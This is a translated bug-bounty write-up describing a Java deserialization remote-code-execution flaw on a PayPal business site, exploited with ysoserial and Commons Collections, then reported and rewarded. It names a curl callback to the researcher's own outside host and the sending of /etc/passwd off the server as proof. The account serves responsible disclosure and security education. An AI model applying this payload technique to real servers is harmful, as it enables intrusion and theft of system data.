Зламати PayPal через 73 секунди

image
У грудні 2015 року я виявив критично небезпечну уразливість в одному з сайтів PayPal для бізнесу, яка дозволяла мені виконувати довільні команди на веб-серверах всередині корпоративної мережі. При відправці веб-форми на сайті manager.paypal.com в одному з прихованих параметрів передавалися закодовані дані у вигляді сериализованного об'єкта Java. Даний параметр можна було підробити, змінивши назву класу і значення його властивостей, що і призвело до виконання довільного коду на серверах. Я негайно повідомив про цю проблему в PayPal, і вона була швидко виправлена.

Деталі уразливості
При тестуванні безпеки сайту manager.paypal.com burp suite мою увагу привернув незвичайний параметр «oldFormData», який виглядав як складний Java-об'єкт, закодований у base64:

image
В шістнадцятковому вигляді він починався з сигнатури «aced 0005», яка я зрозумів, що це сериализованный Java-об'єкт класу “java.util.HashMap" без будь-якого цифрового підпису. Це означало, що при відправці форми ми могли підмінити його на об'єкт зовсім іншого класу — і на сервері буде викликаний метод «readObject» (або «readResolve») нового класу.

Для експлуатації мені необхідно було знайти у вихідні коди програми (або в бібліотеках, які воно використовує) клас, який має щось цікаве в методі readObject або readResolve, наприклад створення файлу або виконання системної команди з параметрами, на які ми можемо впливати.

На щастя, Chris Frohoff (@frohoff) і Gabriel Lawrence (@gebl) на початку 2015 роки виконали відмінну роботу і знайшли ланцюжок відповідних класів у бібліотеці Commons Collections. Вони також випустили утиліту ysoserial для генерації відповідних серіалізовать об'єктів, які в результаті призводять до виконання довільного коду в методі readObject.

Експлойт
Я негайно скачав цю утиліту з їх проекту на github й згенерував об'єкт класу «sun.reflect.annotation.AnnotationInvocationHandler», десериализация якого призводить до виконання команди curl x.s.artsploit.com/paypal», якщо на сервері доступна бібліотека Commons Collections.

image
Виконання команди curl відсилає на мій власний зовнішній сервер запити протоколів DNS і HTTP, що добре для виявлення так званих сліпих вразливостей, при яких результат виконання команди не виводиться у відповіді сервера.

Після цього я відправив отриманий закодований об'єкт на сервер в параметрі «oldFormData» і буквально не повірив своїм очам, коли в балці доступу на моєму Nginx висвітилася рядок:

image
Адреса 173.0.81.65 належав компанії PayPal і в цей момент я зрозумів, що можу виконувати довільні команди на серверах сайту manager.paypal.com.

Я міг би завантажити бекдор, отримати доступ до баз даних, які використовує додаток, або побродити по внутрішній мережі. Замість цього я лише прочитав файл "/etc/passwd" відіславши його на свій сервер як підтвердження уразливості:

image
Я також записав відео, як відтворити цю вразливість, і відправив всю інформацію в PayPal.

Відповідь від PayPal
Після отримання звіту PayPal швидко пофиксили вразливість і попросила в мене мій зовнішній IP-адресу, з якого я проводив тестування, для проведення внутрішнього розслідування. Приблизно через місяць PayPal мені призначили нагороду за знайдену уразливість, хоча баг в їх системі значився як дублікат. Наскільки я зрозумів, інший дослідник, Mark Litchfield, також відправив їм інформацію про подібні уразливості 11 грудня 2015 року, за два дні до мого звіту.

У будь-якому випадку PayPal виплатили мені гарну грошову винагороду, за що їм велике спасибі.

Відео:


Джерело: Хабрахабр

0 коментарів

Тільки зареєстровані та авторизовані користувачі можуть залишати коментарі.